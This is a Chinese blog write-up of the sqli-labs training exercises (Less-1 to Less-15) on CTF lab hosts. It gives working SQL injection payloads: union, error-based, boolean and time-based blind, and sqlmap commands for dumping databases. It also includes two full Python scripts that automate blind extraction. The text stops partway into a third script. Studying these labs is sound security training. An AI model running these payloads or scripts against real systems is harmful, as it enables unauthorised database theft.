技术标签: CTF 安全 web安全 php mysql 数据库 网络安全
本篇博客用于记录SQLi
实验中第一阶段,即基础的sql
注入,包括了GET和POST联合注入、时间盲注、布尔盲注、报错盲注、文件上传注入等并且内含一些笔者写的自动化注入代码~
sqli-labs github
:https://github.com/Audi-1/sqli-labs
大家没思路的时候就可以看看,就相当于白盒测试
UNION
操作符用于合并两个或多个SELECT
语句的结果集。请注意,UNION
内部的SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT
语句中的列的顺序必须相同。所以我们在使用UNION
联合查询的时候需要先通过order by
来测试这个SQL
的查询列数
Mysql
有一个系统数据库 information_schema
,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。
select schema_name from information_schema.schemata
select table_name from information_schema.tables where table_schema=’xxxxx’
Select column_name from information_schema.columns where table_name=’xxxxx’
Select xxx from xxx
常用查询信息:
database()
# 在用的数据库名user()
# 用户信息version()
# 数据库版本信息@@basedir
# 数据库安装路径@@version_compile_os
# 操作系统版本SQL注入的流程:
一般是联合>堆叠>盲注>时间
Mysql中一些函数:
sqlmap
常用命令:
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
注意的点
B:Boolean-based-blind(布尔型注入)
U:Union query-based (联合注入)
E:Error-based (报错型注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
-–batch
默认选项运行
--dbs
爆破数据库
-–technique
指定sqlmap使用的检测技术
sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B
按理说应该所有类型的注入都跑一次
这里告诉我们让我们传一个一个参数为id
的值,于是我传入 1 1 1 ,即:http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1
于是我们猜测这里存在注入(其实标题就告诉了是单引号注入),于是我们在末尾输入'
和"
我们发现前者会出现error
,而后者没有问题
注意的是这里不是双引号而是两个单引号near ''1'' LIMIT 0,1' at line 1
这里多了的这个单引号就是第三个位置,也就是我们输入的单引号,于是我们大概能猜到这个sql
语句是通过单引号闭合的,于是我们开始使用上面的注入过程:
先用二分法通过order by
分析出sql
语句的列数为3
http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1' order by 3%23
①开始爆库:
http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23
ctftraining,information_schema,mysql,performance_schema,security,test
我们发现ctftraining
最可疑,于是对其进行爆表操作
②开始爆表:
http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23
其中我们关心flag
于是对其进行爆列
③开始爆列:
http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23
我们发现flag
表中只有一列flag
,于是我们将这一列的数据爆出来
④爆数据:
http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(flag),3 from ctftraining.flag%23
得到flag{94fb0e75-3801-40c8-9943-5a637e395448}
还是和上面一样的流程,不过这里是整形注入,我们还是在末尾传入一个单引号看看'
发现抱错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1
这里只有单引号,没有我们传入的id
的值了,于是我们猜测此时的SQL
查询语句如下:
Select * from TABLE where id = 1';
于是我们可以知道,这里的id
的值在SQL
语句中是作为一个整数类型的,即:Select * from TABLE where id = (some integer)
我们http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=2
会发现没有查询数据,而http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=1
发现有数据返回,于是我们得出结论,SQL
语句中并没做任何处理,于是我们开始上面的联合查询流程:
① 爆库
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23
②爆表
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23
③爆列:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23
④爆数据
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(flag),3 from ctftraining.flag%23
最后得到:flag{b9ea0bc6-7cb1-428f-881b-4a8550cae347}
同样的,我们首先加一个单引号测试一下
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=1'
得到一个反馈的信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
注意这里有一个)
,于是我们猜测SQL
语句可能是:
Select login_name, select password from table where id= ('our input here')
于是我们开始构造注入:?id=1')%23
,发现成功注入
于是我们开始SQL
注入:
①开始爆库:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23
②开始爆表:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23
③爆列:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23
④爆数据 :
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(flag),3 from ctftraining.flag%23
其实标题就很明显了,于是我们在传入参数的末尾加上双引号:http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1"
我们会得到一个报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这里其实就是和第一个单引号注入类似的报错,只不过这里是双引号,并且这里有)
,于是我们可以猜测,参数是通过双引号加上)
括号包裹的,那么SQL
语句可能是:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
于是我们试着注入:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1")%23
发现是能够成功注入的,于是我们重复上面的流程即可:
①开始爆库:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23
②开始爆表:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23
③爆列:
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23
④爆数据 :
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(flag),3 from ctftraining.flag%23
这道题可以使用布尔盲注,不过我这里就不展示了,因为布尔盲注有点麻烦,不过可以二分布尔加快注入,当然可以通过脚本或者burpsuit
进行注入
关于报错盲注我这里简单介绍一下:
众所周知,盲注并不会返回错误信息,使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题,在此我们不提。
报错盲注分类:
group by
报错注入注入公式:?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a%23
eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select user()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
xpath
函数报错注入( 5.1.1 5.1.1 5.1.1 及以上,extractvalue
和 updatexml
)注入公式①:?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句),0x7e))%23
eg1:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))%23
eg2:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
double
数值类型超出范围报错注入( 5.5.5 5.5.5 5.5.5 及以上)注入公式:?id=1' union select (exp(~(select * FROM(你希望的查询语句)a))),2,3%23
bignt
溢出报错注入注入公式:?id=1' union select (!(select * from (你希望查询的语句)x) - ~0),2,3%23
注入公式:?id=1'union select 1,2,3 from (select NAME_CONST(查询内容,1),NAME_CONST(查询内容,1))x%23
eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x%23
此处重复了version,所以报错。
首先还是先输入1
看一下
可以看到此时没有像上面出现的回显数据的情况,对应的就是账号登录的情景,我们还是,我们输入1'
发现这里存在单引号注入
于是我们先通过order by
进行列数查询:
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' order by 3%23
查询结果为三列,于是我们开始爆数据流程
先查询数据库的个数,我们通过count
统计
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
发现当前数据库有六种,于是我们依次查询
查询语句:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
我们通过调整limit
参数发现有如下六个数据库:
ctftraining,information_schema,mysql,performance_schema,security,test
很显然,我们需要将目光放在ctftraining
上,这就回到了我们上面的流程中了,只不过这里不能显示多行的查询
先查询ctftraining
数据库中表的数量,方便后续调整Limit
参数
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
发现有三个表,于是我们开始调整参数,爆出表名:
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 1,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 2,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
也就是说我们这个数据库中存在:flag
、news
、users
三张表,很明显我们需要看看flag
表中是否存在flag
同样因为只能显示一行信息,我们先查询一下列数:
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
我们可以发现,只有一列,于是就是将这列的名字爆出来了
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
于是我们得到了flag{9f935943-ce36-457a-9af5-68f13a0efc6f}
这道题目和上面几乎一样,只不过注入点变成了双引号"
,于是我简化一下流程:
我们同样使用group by
报错注入
先看数据库个数:http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
然后一一列出:
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (schema_name) from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
发现ctftraining
数据库
同样先看表的数量
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
然后一一爆出所有的表名:
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (table_name) from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
发现flag
表很可疑
继续爆这个表的所有元素,同样先看有多少列:
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
发现只有一列
直接爆数据
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23
按理说这个应该是一个文件上传注入,不过不知为何执行文件上传语句后还是没用,于是我就用的sqlmap
做了,正确的文件上传做法:https://www.cnblogs.com/Timesi/p/16661422.html
简单描述一下sqlmap做法:
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" --dbs --batch -technique T
爆出了 6 6 6 个数据库:
ctftraining
数据库的表名python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" --tables --batch
flag
表的列名python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" --columns --batch
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" -C "flag" --dump --batch
flag{2184e709-5663-45cf-bf25-80a2640676e7}
我们测试注入,发现http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=2%23
不回显,而http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=1%23
有回显,那么显然说明这里有注入,于是简单写一个脚本吧
import requests
import time
import datetime
import math
"""
【这个代码是一个bool类型的盲注】
需要注意的参数:
1.下面的payload是注入的方式
2.url是平台的地址
3.right_text是bool值为真的情况的页面包含的内容,假的话就不会回显
4.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
的一些例如数据库名称或者是表的名称也很长
5.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度
即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,
97~122号为26个小写英文字母,python有个自带的string.printable
6.可以加一个延时操作例如sleep
"""
url = "http://90819ab8-d92f-46a2-8dd7-21f222ef30cb.node4.buuoj.cn/Less-8/?id=1"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"
payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{b},1))<{a}--+ "
right_text = "You are in"
dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 0
column_list = []
data_num = 0
data_list = []
def count_db_num():
global url
global dbnum
payload1 = "' and (select count(schema_name) from information_schema.schemata) = {mid}%23"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(mid = i)
res = requests.get(url1).text
if res.find(right_text) != -1:
dbnum = i
print("database nums :",dbnum)
break
def show_db_name():
global db_list
global dbnum
global right_text
global url
payload2 = "' and (substr((select schema_name from information_schema.schemata limit {start},1),{begin},1))='{loc_key}'%23"
for i in range(dbnum):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url + payload2.format(start = i,begin =j,loc_key = it)
res = requests.get(url2).text
if res.find(right_text) != -1:
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place dbname: ",name)
db_list.append(name)
def count_table_num(db_name:str):
global right_text
global table_num
global url
payload1 = "' and (select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid}%23"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(db_name=db_name,mid = i)
res = requests.get(url1).text
if res.find(right_text) != -1:
table_num = i
print("table nums : ",table_num)
break
def show_table_name(db_name:str):
global table_list
global table_num
global right_text
global url
payload2 = "' and (substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1))='{loc_key}'%23"
for i in range(table_num):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
res = requests.get(url2).text
if res.find(right_text) != -1:
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place table_name: ",name)
table_list.append(name)
def count_column_num(table_name:str):
global right_text
global column_num
global url
payload1 = "' and (select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid}%23"
low = 1
hig = 30
for i in range(low,hig):
url1 = url + payload1.format(table_name=table_name,mid = i)
res = requests.get(url1).text
if res.find(right_text) != -1:
column_num = i
print("column num : ",column_num)
break
def show_column_name(table_name:str):
global column_list
global column_num
global right_text
payload2 = "' and (substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1))='{loc_key}'%23"
for i in range(column_num):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
res = requests.get(url2).text
if res.find(right_text) != -1:
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place column_name: ",name)
column_list.append(name)
def count_data_num(db_name:str,table_name:str,column_name:str):
global right_text
global data_num
payload1 = "' and (select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid}%23"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)
#print("url1 = ",url1)
res = requests.get(url1).text
#print(res)
if res.find(right_text) != -1:
data_num = i
print("data num : ",data_num)
break
def show_data_name(db_name:str,table_name:str,column_name:str):
global data_list
global data_num
global right_text
payload2 = "' and (substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}'%23"
for i in range(data_num):
name = ''
for j in range(1,100):
fg = 1
for it in p1:
url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
res = requests.get(url2).text
if res.find(right_text) != -1:
name = name + it
fg = 0
break
#print("ID: ",i+1,"place data_name: ",name)
if fg:
break
print("ID: ",i+1,"place data_name: ",name)
data_list.append(name)
count_db_num()
show_db_name()
check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
if check_id1 <= 0 or check_id1 > len(db_list):
print("input id is error !")
exit(0)
count_table_num(db_list[check_id1-1])
show_table_name(db_list[check_id1-1])
check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
if check_id2 <= 0 or check_id2 > len(table_list):
print("input id is error !")
exit(0)
count_column_num(table_list[check_id2-1])
show_column_name(table_list[check_id2-1])
check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))
if check_id3 <= 0 or check_id3 > len(column_list):
print("input id is error !")
exit(0)
count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
print("喵喵喵?")
show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
首先还是做一些注入测试,发现并没有什么反馈,于是作弊看一眼源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else {
echo "Please input the ID as parameter with numeric value";}
同时标题也写的很清楚,是一个单引号时间注入的题目,那就写一个时间注入的脚本吧,然后跑一跑(经过漫长的等待就能跑出来了,这里多说一下,注意payload
,错了的话贼难受)
于是我们稍作更改上面的脚本:
import requests
import time
import datetime
import math
import string
"""
【这个代码是一个时间类型的盲注】
需要注意的参数:
1.下面的payload是注入的方式
2.url是平台的地址
3.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
的一些例如数据库名称或者是表的名称也很长
4.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度,python有个自带的string.printable
即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母
"""
url = "http://8c3cbc57-740e-407d-a78a-2eb6d1d6e7c1.node4.buuoj.cn/Less-9/?id=1"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"
payload= "'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"
dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 1
column_list = []
data_num = 0
data_list = []
def check_url(url:str):
try:
res = requests.get(url,timeout = 3)
return True
except Exception as e:
return False
def count_db_num():
global url
global dbnum
payload1 = "'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))--+"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(mid = i)
if check_url(url1):
dbnum = i
print("database nums :",dbnum)
break
def show_db_name():
global db_list
global dbnum
global url
payload2 = "'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
for i in range(dbnum):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url + payload2.format(start = i,begin =j,loc_key = it)
if check_url(url2):
name = name + it
fg = 0
break
print(name)
if fg:
break
print("ID: ",i+1,"place dbname: ",name)
db_list.append(name)
def count_table_num(db_name:str):
global table_num
global url
payload1 = "'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )%23"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(db_name=db_name,mid = i)
if check_url(url1):
table_num = i
print("table nums : ",table_num)
break
def show_table_name(db_name:str):
global table_list
global table_num
global url
payload2 = "'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
for i in range(table_num):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
if check_url(url2):
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place table_name: ",name)
table_list.append(name)
def count_column_num(table_name:str):
global column_num
global url
payload1 = "'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))%23"
low = 1
hig = 30
for i in range(low,hig):
url1 = url + payload1.format(table_name=table_name,mid = i)
if check_url(url1):
column_num = i
print("column num : ",column_num)
break
def show_column_name(table_name:str):
global column_list
global column_num
payload2 = "'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
for i in range(column_num):
name = ''
for j in range(1,100):
fg = 1
for it in p1:
url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
if check_url(url2):
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place column_name: ",name)
column_list.append(name)
def count_data_num(db_name:str,table_name:str,column_name:str):
global data_num
payload1 = "'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))%23"
low = 1
hig = 100
for i in range(low,hig):
url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)
if check_url(url1):
data_num = i
print("data num : ",data_num)
break
def show_data_name(db_name:str,table_name:str,column_name:str):
global data_list
global data_num
payload2 = "'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
for i in range(data_num):
name = ''
for j in range(1,100):
fg = 1
for it in p1:
url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
if check_url(url2):
name = name + it
fg = 0
break
print(name)
if fg:
break
print("ID: ",i+1,"place data_name: ",name)
data_list.append(name)
if __name__ == "__main__":
count_db_num()
show_db_name()
check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
if check_id1 <= 0 or check_id1 > len(db_list):
print("input id is error !")
exit(0)
count_table_num(db_list[check_id1-1])
show_table_name(db_list[check_id1-1])
check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
if check_id2 <= 0 or check_id2 > len(table_list):
print("input id is error !")
exit(0)
count_column_num(table_list[check_id2-1])
show_column_name(table_list[check_id2-1])
check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))
if check_id3 <= 0 or check_id3 > len(column_list):
print("input id is error !")
exit(0)
count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
print("喵喵喵?")
show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
从名字就能看出来和less9的区别就在于注入点是双引号,于是将上面的payload
改为双引号即可我,我这里就不多写了
从现在开始就是Post
类型的注入了,看到标题,我们其实就能发现只是一个简单的单引号字符型注入
于是我们输入1'
发现有语法错误,然后加上1'#
,发现正常了,于是这里存在注入,其实这里和less1
是一样的,只不过注入方式变成了POST
提交,于是我这里直接给出payload
:uname=1' union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#&passwd=&submit=Submit
过程可以参考less1
的注入过程,如爆库、表、字段等操作
这也没啥好说的,区别就在于注入点是双引号,注入流程可以参考less2
,我直接放payload
了:uname=1" union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#
通过测试我们能找到注入点大概是')
然后够我们简单测试一下:1') union select 1,2#
,发现并没有回显:
于是我们尝试报错注入:
发现报错信息是会回显的,于是我们参考less5
的报错注入流程然后进行注入,我这里也就直接放payload
了uname=1') union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit
这里和less13
类似,只不过sql语句的闭合方式从')
变成了"
,于是我这里直接上payload
:uname=1" union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit
这里我们无论输入什么,都没有反馈信息,于是我们尝试盲注,我这里就直接放脚本了,大家可以改url
即可
import requests
import time
import datetime
import math
import string
import json
"""
【这个代码是一个POST时间类型的盲注】
需要注意的参数:
1.下面的payload是注入的方式
2.url是平台的地址
3.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
的一些例如数据库名称或者是表的名称也很长
4.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度,python有个自带的string.printable
即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母
"""
url = "http://cde645ef-4792-402b-986a-af1027326985.node4.buuoj.cn/Less-15/"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"
